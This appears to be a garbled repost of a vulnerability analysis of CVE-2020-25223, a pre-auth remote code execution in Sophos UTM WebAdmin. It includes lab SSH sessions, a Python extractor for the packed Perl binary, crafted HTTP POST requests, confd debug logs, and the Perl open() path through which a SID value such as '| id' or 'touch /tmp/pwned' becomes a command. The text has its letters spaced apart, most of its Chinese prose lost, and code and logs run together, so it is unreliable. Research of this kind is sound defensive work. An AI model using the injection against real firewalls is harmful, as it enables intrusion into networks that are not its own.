[29135] 2021-08-30_【漏洞分析】SophosUTMPreauthRCE:深入研究CVE-2020-25223

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2021-08-30_【漏洞分析】SophosUTMPreauthRCE:深入研究CVE-2020-25223 S o p h o s   U T M   P r e a u t h   R C E   C V E - 2 0 2 0 - 2 5 2 2 3 O t s   2 0 2 1 - 0 8 - 3 0 O t s S o p h o s     2 0 2 0     9     ( V P C )     V P C   访   S o p h o s   U T M   9     S o p h o s   U T M   C V E - 2 0 2 0 - 2 5 2 2 3 .   S o p h o s   S G   U T M   v 9 . 7 0 5   M R 5 v 9 . 6 0 7   M R 7 v 9 . 5 1 1   M R 1 1 W e b A d m i n   T w i t t e r     S l a c k s     S o p h o s   U T M   9 . 5 1 0 - 5 I S O 9 . 5 1 1 - 2 访 访 S o p h o s   U T M     S S H 使   W e b     - >     - >   S h e l l   访   r o o t   访   S S H   $   s s h   r o o t @ 1 9 2 . 1 6 8 . 5 0 . 1 5 L a s t   l o g i n :   M o n   A u g   1 6   1 4 : 3 7 : 0 0   2 0 2 1   f r o m   1 9 2 . 1 6 8 . 5 0 . 1 7 8 S o p h o s   U T M ( C )   C o p y r i g h t   2 0 0 0 - 2 0 1 7   S o p h o s   L i m i t e d   a n d   o t h e r s .   A l l   r i g h t s   r e s e r v e d . S o p h o s   i s   a   r e g i s t e r e d   t r a d e m a r k   o f   S o p h o s   L i m i t e d   a n d   S o p h o s   G r o u p . A l l   o t h e r   p r o d u c t   a n d   c o m p a n y   n a m e s   m e n t i o n e d   a r e   t r a d e m a r k s   o r   r e g i s t e r e d t r a d e m a r k s   o f   t h e i r   r e s p e c t i v e   o w n e r s . F o r   m o r e   c o p y r i g h t   i n f o r m a t i o n   l o o k   a t   / d o c / a s t a r o - l i c e n s e . t x t o r   h t t p : / / w w w . a s t a r o . c o m / d o c / a s t a r o - l i c e n s e . t x t N O T E :   I f   n o t   e x p l i c i t l y   a p p r o v e d   b y   S o p h o s   s u p p o r t ,   a n y   m o d i f i c a t i o n s d o n e   b y   r o o t   w i l l   v o i d   y o u r   s u p p o r t . s o p h o s : / r o o t   #
  B u r p     W e b   w e b a d m i n . p l x   W e b     H T T P   P O S T   w e b a d m i n . p l x   c h r o o t   / v a r / s e c / c h r o o t - h t t p d / . p l x f i l e 西   P H P     P y t h o n   西   E L F   h t t p s : / / p a p e r . s e e b u g . o r g / 1 3 9 7 / . p l x 使   A c t i v e S t a t e     P e r l   D e v   K i t     P e r l   . p l x 访 使   S S H   访   S o p h o s   U T M     I D A   . . . . . . 访 w e b a d m i n . p l x a s g . p l x   P e r l   a s g . p l x 访 a s g x . p l x   P e r l   a s g . p l x : 2 0 - 2 6 访 使 沿 a s g . p l x 使 访 w e b a d m i n . p l x 使 L D _ P R E L O A D l i b p e r l . s o 使 f r i d a P I N 访 B F S E L F h t t p s : / / g i t h u b . c o m / t h e 6 p 4 c / b f s _ e x t r a c t P O S T   / w e b a d m i n . p l x   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 5 0 . 1 5 : 4 4 4 4 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   U b u n t u ;   L i n u x   x 8 6 _ 6 4 ;   r v : 9 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 9 1 . 0 A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t X - P r o t o t y p e - V e r s i o n :   1 . 5 . 1 . 1 C o n t e n t - t y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   2 0 4 O r i g i n :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 5 : 4 4 4 4 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 5 : 4 4 4 4 / S e c - F e t c h - D e s t :   e m p t y S e c - F e t c h - M o d e :   c o r s S e c - F e t c h - S i t e :   s a m e - o r i g i n C a c h e - C o n t r o l :   m a x - a g e = 0 { " o b j s " :   [ { " F I D " :   " i n i t " } ] ,   " S I D " :   0 ,   " b r o w s e r " :   " g e c k o _ l i n u x " ,   " b a c k e n d _ v e r s i o n " :   - 1 ,   " l o c " :   " " ,   " _ c o o k i e " :   n u l l ,   " w d e b u g " :   0 ,   " R I D " :   " 1 6 2 9 2 1 6 1 8 2 3 0 0 _ 0 . 6 7 5 2 2 3 9 0 2 6 8 9 2 8 1 8 " ,   " c u r r e n t _ u u i d " :   " " ,   " i p v 6 " :   t r u e } s o p h o s : / r o o t   #   p s   a u x   |   g r e p   - i   w e b a d m i n . p l x w w w r u n       1 2 6 8 5     0 . 4     1 . 0     9 3 2 4 0   8 9 0 7 2   ?                 S         1 1 : 2 2       0 : 0 8 / v a r / w e b a d m i n / w e b a d m i n . p l x #   l s   / v a r / s e c / c h r o o t - h t t p d / v a r / w e b a d m i n / w e b a d m i n . p l x / v a r / s e c / c h r o o t - h t t p d / v a r / w e b a d m i n / w e b a d m i n . p l x #   f i l e   w e b a d m i n . p l x w e b a d m i n . p l x :   E L F   3 2 - b i t   L S B   e x e c u t a b l e ,   I n t e l   8 0 3 8 6 ,   v e r s i o n   1   ( S Y S V ) ,   f o r G N U / L i n u x   2 . 2 . 5 ,   d y n a m i c a l l y   l i n k e d   ( u s e s   s h a r e d   l i b s ) ,   s t r i p p e d #   a s t a r o   s t u f f   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - u s e   A s t a r o : : L o g d i s p a t c h e r ; u s e   A s t a r o : : T i m e : : Z o n e   q w / l g d i f f / ; #   n e c e s s a r y   c o r e   m o d u l e s   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - u s e   c o r e : : m o d u l e s : : c o r e _ g l o b a l s ; u s e   c o r e : : m o d u l e s : : c o r e _ t o o l s ; i m p o r t   s y s i m p o r t   s t r u c t
y a n k . p y 使 b f s _ e x t r a c t . s h . p l x . p l x   U T M   / v a r / s e c / c h r o o t - h t t p d / M e l d w f e / a s g / m o d u l e s / a s g _ c o n n e c t o r . p m m e l d i m p o r t   s t r u c t c l a s s   B F S : d e f   _ _ i n i t _ _ ( s e l f ,   d a t a ) :         s e l f . d a t a   =   d a t a @ c l a s s m e t h o d     d e f   o p e n ( c l s ,   p a t h ) :         w i t h   o p e n ( p a t h ,   ' r + b ' )   a s   f :             f . s e e k ( - 1 2 ,   2 )             m a g i c _ c h u n k   =   f . r e a d ( 1 2 )             p o i n t e r _ h e a d e r   =   s t r u c t . u n p a c k ( ' < I I I ' ,   m a g i c _ c h u n k )             a s s e r t ( p o i n t e r _ h e a d e r [ 0 ]   = =   0 x a b 2 1 5 5 b c )             f . s e e k ( - 1 2   -   p o i n t e r _ h e a d e r [ 2 ] ,   2 ) d a t a   =   f . r e a d ( p o i n t e r _ h e a d e r [ 2 ] ) r e t u r n   c l s ( d a t a ) b f s   =   B F S . o p e n ( s y s . a r g v [ 1 ] ) w i t h   o p e n ( s y s . a r g v [ 2 ] ,   ' w b ' )   a s   o u t f :     o u t f . w r i t e ( b f s . d a t a ) # ! / b i n / b a s h p y t h o n 3   ~ / t o o l s / b f s _ e x t r a c t / y a n k . p y   $ 1   s t a g e 1 - $ 1 p y t h o n 3   ~ / t o o l s / b f s _ e x t r a c t / b f s . p y   s t a g e 1 - $ 1   s t a g e 2 - $ 1 p y t h o n 3   ~ / t o o l s / b f s _ e x t r a c t / b f s _ e x t r a c t . p y   s t a g e 2 - $ 1   $ 2 $   b f s _ e x t r a c t . s h   w e b a d m i n . p l x   e x t r a c t e d / F o u n d   f i l e   D a t e T i m e / T i m e Z o n e / A m e r i c a / I n d i a n a / V e v a y . p m O f f s e t :   1 a b 4 c F o u n d   f i l e   A s t a r o / C o n f d / O b j e c t / t i m e / s i n g l e . p m O f f s e t :   1 b 6 a 4 F o u n d   f i l e   a u t o / N e t / S S L e a y / h t t p x _ c a t . a l O f f s e t :   1 b 8 a 4 F o u n d   f i l e   a u t o / N e t A d d r / I P / I n e t B a s e / i n e t _ a n y 2 n . a l
s w i t c h _ s e s s i o n S I D   I D S I D . G o i n g   D o w n   t h e   R a b b i t   H o l e s w i t c h _ s e s s i o n d o _ c o n n e c t d o _ c o n n e c t s w i t c h _ s e s s i o n w f e / a s g / m o d u l e s / a s g _ c o n n e c t o r . p m : 6 8 - 7 2 d o _ c o n n e c t 使 a s g . p l x   w e b a d m i n . p l x a s g . p l x : 2 0 9 - 2 1 6 $   a g   s w i t c h _ s e s s i o n w f e / a s g / m o d u l e s / a s g _ c o n n e c t o r . p m 6 8 : #   j u s t   a   w r a p p e r   f o r   s w i t c h _ s e s s i o n 7 1 :     r e t u r n   $ s e l f - > s w i t c h _ s e s s i o n ( @ _ ) ; 7 6 : s u b   s w i t c h _ s e s s i o n   { 8 1 :     & m a i n : : m s g ( ' d ' ,   " C a l l e d   "   .   _ _ P A C K A G E _ _   .   " : : s w i t c h _ s e s s i o n ( ) " ) ; #   j u s t   a   w r a p p e r   f o r   s w i t c h _ s e s s i o n s u b   d o _ c o n n e c t   { m y   $ s e l f   =   s h i f t ; r e t u r n   $ s e l f - > s w i t c h _ s e s s i o n ( @ _ ) ; } $   a g   d o _ c o n n e c t w f e / a s g / m o d u l e s / a s g _ l o g i n . p m 2 9 0 :         $ S I D   =   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ) ; w f e / a s g / m o d u l e s / a s g _ m i s c . p m 1 1 0 :     $ S I D   =   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } , $ v a r s - > { S I D } )   i f   $ v a r s - > { S I D } ; w f e / a s g / m o d u l e s / a s g _ m a i n . p m 5 5 :             $ S I D   =   $ s y s   ?   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ _ c o o k i e s - > { S I D } - > v a l u e )   :   u n d e f ; w f e / a s g / m o d u l e s / a s g _ c o n n e c t o r . p m 6 9 : s u b   d o _ c o n n e c t   { c o r e / m o d u l e s / c o r e _ c o n n e c t o r . p m 3 0 : #   r e n a m e d   c o n n e c t   t o   d o _ c o n n e c t   f o r   a v o i d   c o n f u s i o n   w i t h 3 2 : s u b   d o _ c o n n e c t   { 3 3 :     d i e   _ _ P A C K A G E _ _   .   ' : : d o _ c o n n e c t ( )   h a s   t o   b e   i m p l e m e n t e d   b y   i n h e r t i n g   m o d u l e ! ' ; a s g . p l x 1 9 0 :         $ S I D   =   $ s y s   ?   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ r e q - > { S I D } )   :   u n d e f ; 2 1 6 :         $ S I D   =   $ s y s   ?   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ r e q - > { S I D } )   :   u n d e f ; 3 2 5 :                     i f   (   $ c o o k i e s - > { S I D }   a n d   (   $ c o o k i e s - > { S I D }   e q   $ S I D   o r   $ S I D   =   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ c o o k i e s - > { S I D } )   )   )   { #   P O S T   r e q u e s t   -   m e a n s   J S O N   r e q u e s t i f   (   $ E N V { ' R E Q U E S T _ M E T H O D ' }   e q   ' P O S T '   )   { #   n o   f u r t h e r   p r o c e s s i n g   i n   c a s e   o f   c o n t e n t - t y p e   v i o l a t i o n g o t o   R E Q _ O U T P U T   i f   $ r e q - > { c t _ v i o l a t i o n } ; #   s w i t c h   o u r   i d e n t i t y   i f   n e c e s s a r y         $ S I D   =   $ s y s   ?   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ r e q - > { S I D } )   :   u n d e f ;
d o _ c o n n e c t   H T T P   P O S T   使 使 S I D 使   H T T P   P O S T   c o n f d h t t p d   R P C       H T T P   P O S T   w e b a d m i n . p l x h t t p d c o n f d S I D   H T T P   P O S T   S I D c o n f d / v a r / l o g / 使   i n v a l i d   S I D / v a r / l o g / c o n f d - d e b u g . l o g c o n f d g e t _ S I D S I D $ S I D   =   $ s y s   ?   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ r e q - > { S I D } )   :   u n d e f ; P O S T   / w e b a d m i n . p l x   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 5 0 . 1 7 : 4 4 4 4 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   U b u n t u ;   L i n u x   x 8 6 _ 6 4 ;   r v : 9 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 9 1 . 0 A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t X - P r o t o t y p e - V e r s i o n :   1 . 5 . 1 . 1 C o n t e n t - t y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   2 2 7 O r i g i n :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 : 4 4 4 4 D N T :   1 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 : 4 4 4 4 / S e c - F e t c h - D e s t :   e m p t y S e c - F e t c h - M o d e :   c o r s S e c - F e t c h - S i t e :   s a m e - o r i g i n { " o b j s " :   [ { " F I D " :   " g e t _ u s e r _ i n f o r m a t i o n " } ] ,   " S I D " : " A T R E D I S " ,   " b r o w s e r " :   " g e c k o _ l i n u x " ,   " b a c k e n d _ v e r s i o n " :   - 1 ,   " l o c " :   " " ,   " _ c o o k i e " :   n u l l ,   " w d e b u g " :   0 ,   " R I D " :   " 1 6 2 8 9 9 7 0 6 1 5 4 7 _ 0 . 8 2 3 5 6 3 9 5 8 6 0 0 1 4 " ,   " c u r r e n t _ u u i d " :   " " ,   " i p v 6 " :   t r u e } 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 7 5 1 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 1 2 5 ( )   = >   l i s t e n e r :   n e w   c o n n e c t i o n . . . 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 7 5 1 ] :   D   A s t a r o : : R P C : : r e a p _ c h i l d r e n : 1 1 8 ( )   = >   r e a p e d :   3 2 6 4 3 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 7 5 1 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 2 1 5 ( )   = >   f o r k e d :   3 2 6 5 3 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 7 5 1 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 2 2 3 ( )   = >   w o r k e r s :   1 1 6 8 2 ,   3 2 6 5 3 ,   1 0 4 1 9 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 1 5 9 ( )   = >   c h i l d :   s e r v i n g   c o n n e c t i o n   f r o m   1 2 7 . 0 . 0 . 1 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   D   A s t a r o : : R P C : : g e t _ r e q u e s t : 3 2 1 ( )   = >   g e t _ r e q u e s t ( )   s t a r t 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   > = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   D   A s t a r o : : R P C : : r e s p o n s e : 2 8 7 ( )   = >   p r p c   r e s p o n s e :   $ V A R 1   =   [ 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :                       1 , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :                       ' W e l c o m e ! ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :                   ] ; 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   < = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   D   A s t a r o : : R P C : : g e t _ r e q u e s t : 3 2 1 ( )   = >   g e t _ r e q u e s t ( )   s t a r t - - 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                       ' S I D '   = >   ' A T R E D I S ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                       ' a s g _ i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                       ' i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 8 ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                   } 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                               ] , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' i d '   = >   ' u n s u p p o r t e d ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' m e t h o d '   = >   ' N e w H a n d l e ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' p a t h '   = >   ' / w e b a d m i n / n o n p r o x y ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                   } ; 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   | = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 1 7 8 ( )   = >   m e t h o d :   n e w   p a r a m s :   $ V A R 1   =   [ 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       { 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                           ' S I D '   = >   ' A T R E D I S ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                           ' a s g _ i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                           ' i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 8 ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       } 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                   ] ; 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   < = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   D   u t i l s : : w r i t e _ s i g u s r 1 : 3 8 9 ( )   = >   i d = " 3 1 0 0 "   s e v e r i t y = " d e b u g "   s y s = " S y s t e m "   s u b = " c o n f d "   n a m e = " w r i t e _ s i g u s r 1 "   u s e r = " s y s t e m "   s r c i p = " 0 . 0 . 0 . 0 "   f a c i l i t y = " s y s t e m "   c l i e n t = " u n k n o w n "   c a l l = " n e w "   m o d e = " a d d "   p i d s = " 3 2 7 5 3 " 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   D   A s t a r o : : R P C : : r e s p o n s e : 2 8 7 ( )   = >   p r p c   r e s p o n s e :   $ V A R 1   =   b l e s s (   { } ,   ' A s t a r o : : R P C '   ) ; 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   D   A s t a r o : : R P C : : g e t _ r e q u e s t : 3 2 1 ( )   = >   g e t _ r e q u e s t ( )   s t a r t 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   > = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
/ v a r / l o g / c o n f d - d e b u g . l o g c o n f d h t t p d S I D / v a r / l o g / w e b a d m i n . l o g / v a r / l o g / w e b a d m i n . l o g S I D   H T T P   P O S T   c o n f d c o n f d S I D (   ) c o n f d $ c o n f i g : : s e s s i o n _ d i r / v a r / c o n f d / v a r / s e s s i o n s S e s s i o n . p m : 1 8 9 r e a d _ s t o r a g e   a $ f i l e S I D S t o r a b l e : : l o c k _ r e t r i e v e A s t a r o / f i l e . p m : 3 5 0 - 3 6 1 l o c k _ r e t r i e v e _ r e t r i e v e a u t o / S t o r a b l e / l o c k _ r e t r i e v e . a l : 1 2 - 1 4 _ r e t r i e v e o p e n ( ) a u t o / S t o r a b l e / _ r e t r i e v e . a l : 8 - 1 1   P e r l   o p e n ( ) P e r l     U T M   S I D   o p e n ( ) t o u c h   / t m p / p w n e d 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   > = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   D   A s t a r o : : R P C : : g e t _ r e q u e s t : 4 6 1 ( )   = >   g o t   r e q u e s t :   $ V A R 1   =   { 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' p a r a m s '   = >   [ 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                   b l e s s (   { } ,   ' A s t a r o : : R P C '   ) , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                   ' g e t _ S I D ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                               ] , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' i d '   = >   ' u n s u p p o r t e d ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' m e t h o d '   = >   ' C a l l M e t h o d ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' p a t h '   = >   ' / w e b a d m i n / n o n p r o x y ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                   } ; 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 3 2 5 0 9 ] :   | = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 3 2 5 0 9 ] :   W   N o   b a c k e n d   f o r   S I D   =   A T R E D I S . . . 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 3 2 5 0 9 ] : 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 3 2 5 0 9 ] :     1 .   m a i n : : t o p - l e v e l : 2 2 1 ( )   a s g . p l x m y   $ n e w   =   r e a d _ s t o r a g e ( " $ c o n f i g : : s e s s i o n _ d i r / $ s e s s i o n - > { S I D } " ) ; #   r e a d   f r o m   P e r l   S t o r a b l e   f i l e s u b   r e a d _ s t o r a g e   { m y   $ f i l e   =   s h i f t ; m y   $ h r e f ; r e q u i r e   S t o r a b l e ; e v a l   {   l o c a l   $ S I G { ' _ _ D I E _ _ ' } ;   $ h r e f   =   S t o r a b l e : : l o c k _ r e t r i e v e ( $ f i l e ) ;   } ; r e t u r n   i f   $ @ ; r e t u r n   u n l e s s   r e f   $ h r e f   e q   ' H A S H ' ; r e t u r n   $ h r e f ; } s u b   l o c k _ r e t r i e v e   {         _ r e t r i e v e ( $ _ [ 0 ] ,   1 ) ; } s u b   _ r e t r i e v e   { m y   ( $ f i l e ,   $ u s e _ l o c k i n g )   =   @ _ ; l o c a l   * F I L E ; o p e n ( F I L E ,   $ f i l e )   | |   l o g c r o a k   " c a n ' t   o p e n   $ f i l e :   $ ! " ; # ! / u s r / b i n / p e r l m y   $ a   =   " | i d " ; l o c a l   * F I L E ; o p e n ( F I L E ,   $ a ) ; $   p e r l   t e s t . p l u i d = 1 0 0 0 ( j u s t i n )   g i d = 1 0 0 0 ( j u s t i n )   g r o u p s = 1 0 0 0 ( j u s t i n ) P O S T   / w e b a d m i n . p l x   H T T P / 1 . 1
